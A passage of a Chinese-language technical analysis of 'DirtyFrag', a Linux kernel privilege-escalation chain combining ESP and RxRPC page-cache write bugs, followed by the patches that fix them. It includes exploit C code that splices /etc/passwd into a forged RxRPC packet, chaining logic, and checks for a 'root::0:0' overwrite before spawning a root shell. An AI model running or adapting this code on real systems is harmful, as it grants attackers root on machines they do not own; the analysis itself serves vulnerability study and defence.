3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">发送这一段：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="521" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> key = add_rxrpc_key(keyname);</span><br/><span leaf="">compute_csum_iv(epoch, cid, </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">, SESSION_KEY, csum_iv);</span><br/><span leaf="">compute_cksum(cid, callN, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">, SESSION_KEY, csum_iv, &amp;cksum_h);</span><br/><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">rxrpc_wire_header</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">mal</span></span><span leaf=""> =</span></span><span leaf=""> {</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">};</span><br/><span leaf="">mal.epoch = htonl(epoch);</span><br/><span leaf="">mal.cid = htonl(cid);</span><br/><span leaf="">mal.callNumber = htonl(callN);</span><br/><span leaf="">mal.seq = htonl(</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">);</span><br/><span leaf="">mal.type = RXRPC_PACKET_TYPE_DATA;</span><br/><span leaf="">mal.flags = RXRPC_LAST_PACKET;</span><br/><span leaf="">mal.securityIndex = </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">;</span><br/><span leaf="">mal.cksum = htons(cksum_h);</span><br/><span leaf="">mal.serviceId = htons(svc_in);</span><br/><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">iovec</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">viv</span></span><span leaf=""> =</span></span><span leaf=""> { .iov_base = &amp;mal, .iov_len = </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(mal) };</span><br/><span leaf="">vmsplice(p[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], &amp;viv, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">splice(target_fd, &amp;off, p[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, splice_len, SPLICE_F_NONBLOCK);</span><br/><span leaf="">splice(p[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, udp_srv, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(mal) + splice_len, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">recvmsg(rxsk_cli, &amp;m, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span></code></pre><p data-line="545" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">add_key(&#34;rxrpc&#34;,...)</span></code><span leaf="">把当前轮次的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SESSION_KEY</span></code><span leaf="">交给内核。前面的RxRPC握手让客户端把这个key用于RXKAD安全上下文。随后DATA包的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cksum</span></code><span leaf="">也用同一个key算出来，包才能走到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rxkad_verify_packet_1()</span></code><span leaf="">。最后两次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">把DATA头和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/etc/passwd</span></code><span leaf="">的PageCache页拼成一个UDP包，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">recvmsg()</span></code><span leaf="">推动客户端消费这个包，原地解密随之发生。</span></p><p data-line="547" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对应到内核接收路径：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="549" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">recvmsg</span><br/><span leaf="">	rxrpc_recvmsg</span><br/><span leaf="">		rxrpc_recvmsg_data</span><br/><span leaf="">			rxrpc_verify_data</span><br/><span leaf="">				rxkad_verify_packet</span><br/><span leaf="">					rxkad_verify_packet_1</span><br/><span leaf="">						skb_to_sgvec映射frag</span><br/><span leaf="">						skcipher_request_set_crypt使用sg作为src和dst</span><br/><span leaf="">						crypto_skcipher_decrypt写回PageCache</span></code></pre><h2 data-line="561" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">两条链为什么能通杀</span></h2><p data-line="563" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">单看任意一条链，都有明显边界。</span></p><p data-line="565" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ESP链的写入能力直接，4字节值和偏移都能控制，所以可以拼出一个192字节root-shellELF。缺点是要能创建user和net命名空间，从而拿到当前命名空间里的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CAP_NET_ADMIN</span></code><span leaf="">。如果发行版策略禁用了非特权user namespace，这条路就断了。</span></p><p data-line="567" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RxRPC链优点是不需要user namespace，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">add_key()</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">socket(AF_RXRPC)</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">socket(AF_ALG)</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">recvmsg()</span></code><span leaf="">都可以由普通用户触发。缺点是写入值要靠</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fcrypt_decrypt(C,K)</span></code><span leaf="">碰撞，不能随便写大段payload，并且目标系统要有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rxrpc.ko</span></code><span leaf="">。</span></p><p data-line="569" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">DirtyFrag把两者串起来：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="571" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (force_rxrpc) {</span><br/><span leaf="">	rc = rxrpc_lpe_main(new_argc, co_argv);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; !passwd_already_patched() &amp;&amp; i &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">3</span></span><span leaf="">; i++)</span><br/><span leaf="">		rc = rxrpc_lpe_main(new_argc, co_argv);</span><br/><span leaf="">} </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (force_esp) {</span><br/><span leaf="">	rc = su_lpe_main(new_argc, co_argv);</span><br/><span leaf="">} </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span leaf=""> {</span><br/><span leaf="">	rc = su_lpe_main(new_argc, co_argv);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!su_already_patched()) {</span><br/><span leaf="">		rc = rxrpc_lpe_main(new_argc, co_argv);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; !passwd_already_patched() &amp;&amp; i &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">3</span></span><span leaf="">; i++)</span><br/><span leaf="">			rc = rxrpc_lpe_main(new_argc, co_argv);</span><br/><span leaf="">	}</span><br/><span leaf="">}</span></code></pre><p data-line="588" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">默认流程是先走ESP；如果</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf="">没有被污染，再切到RxRPC，尝试污染</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/etc/passwd</span></code><span leaf="">。最后统一走</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">run_root_pty()</span></code><span leaf="">执行</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">su -</span></code><span leaf="">并接管交互。</span></p><p data-line="590" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">污染判定只看两个稳定位置：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="592" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">su_already_patched</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span leaf="">	pread(fd, got, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(got), </span><span style="color: rgb(0, 128, 0);"><span leaf="">0x78</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">memcmp</span></span><span leaf="">(got, su_marker, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(su_marker)) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">passwd_already_patched</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span leaf="">	pread(fd, head, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(head), </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">memcmp</span></span><span leaf="">(head, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;root::0:0&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">9</span></span><span leaf="">) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="606" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">DirtyFrag所谓通杀，不是一个入口覆盖所有Linux发行版，而是两个页缓存写漏洞分别覆盖彼此盲区。</span></p><h2 data-line="608" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">补丁与缓解</span></h2><p data-line="610" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ESP分支的修复思路是给从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">来的外部共享frag打标记，然后在ESP输入路径里识别它，强制走COW。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="612" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(255, 0, 0, 0.2);color: rgb(255, 0, 0);display: inline-block;width: 344.347px;"><span leaf="">-		} else if (!skb_has_frag_list(skb)) {</span></span><br/><span style="background-color: rgba(156, 204, 44, 0.25);color: rgb(155, 185, 85);display: inline-block;width: 344.347px;"><span leaf="">+		} else if (!skb_has_frag_list(skb) &amp;&amp;</span></span><br/><span style="background-color: rgba(156, 204, 44, 0.25);color: rgb(155, 185, 85);display: inline-block;width: 344.347px;"><span leaf="">+			   !skb_has_shared_frag(skb)) {</span></span><br/><span leaf="">			nfrags = skb_shinfo(skb)-&gt;nr_frags;</span><br/><span leaf="">			nfrags++;</span></code></pre><p data-line="620" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">发送路径上增加标记：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="622" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="background-color: rgba(156, 204, 44, 0.25);color: rgb(155, 185, 85);display: inline-block;width: 344.347px;"><span leaf="">+			if (!(flags &amp; MSG_NO_SHARED_FRAGS))</span></span><br/><span style="background-color: rgba(156, 204, 44, 0.25);color: rgb(155, 185, 85);display: inline-block;width: 344.347px;"><span leaf="">+				skb_shinfo(skb)-&gt;flags |= SKBFL_SHARED_FRAG;</span></span></code></pre><p data-line="627" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这个补丁的思路比单纯在ESP里无脑</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb_cow_data()</span></code><span leaf="">更克制：只要frag来自外部共享页，就不允许它走原地解密快路径。</span></p><p data-line="629" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 